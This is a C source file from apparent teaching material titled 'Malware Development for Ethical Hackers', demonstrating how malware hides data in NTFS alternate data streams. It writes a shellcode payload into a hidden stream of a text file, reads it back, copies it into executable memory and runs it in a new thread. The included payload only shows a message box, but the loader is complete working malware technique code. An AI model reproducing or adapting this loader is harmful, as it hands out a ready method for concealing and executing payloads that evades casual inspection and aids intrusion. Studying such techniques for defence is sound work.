/*
 * Malware Development for Ethical Hackers
 * hack.c
 * malware store data in alternate data streams
 * author: @cocomelonc
*/
#include <windows.h>
#include <stdio.h>

int main() {
  // name of the file to which we'll attach the ADS
  char* filename = "C:\\temp\\packt.txt";

  // name of the ADS
  char* streamname = "hiddenstream";

  // full path including the ADS
  char fullpath[1024];
  sprintf(fullpath, "%s:%s", filename, streamname);

  // the data we're going to write to the ADS
  // meow-meow messagebox
  unsigned char my_payload[] =
  "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";

  printf("original payload: ");
  for (int i = 0; i < sizeof(my_payload); i++) {
    printf("%02x ", my_payload[i]);
  }
  printf("\n\n");

  // write data to the ADS
  HANDLE hFile = CreateFile(fullpath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  printf(hFile == INVALID_HANDLE_VALUE ? "unable to open file!\n" : "successfully write payload data to the ADS\n");
  DWORD bw;
  WriteFile(hFile, my_payload, sizeof(my_payload) - 1, &bw, NULL);
  CloseHandle(hFile);

  // now read the data back
  hFile = CreateFile(fullpath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  printf(hFile == INVALID_HANDLE_VALUE ? "unable to open file!\n" : "successfully read payload data from file\n");

  unsigned char data[sizeof(my_payload) - 1];
  DWORD br;
  ReadFile(hFile, data, sizeof(data), &br, NULL);
  CloseHandle(hFile);

  printf("read from file, payload:\n");
  for (int i = 0; i < sizeof(data); i++) {
    printf("%02x ", data[i]);
  }
  printf("\n\n");

  void * mem; // memory buffer for payload
  BOOL rv;
  HANDLE th;
  DWORD oldprotect = 0;

  mem = VirtualAlloc(0, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

  // copy payload to buffer
  RtlMoveMemory(mem, data, sizeof(data));

  // make new buffer as executable
  rv = VirtualProtect(mem, sizeof(data), PAGE_EXECUTE_READ, &oldprotect);
  if ( rv != 0 ) {
  // run payload
    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) mem, 0, 0, 0);
    WaitForSingleObject(th, -1);
  }

  return 0;
}
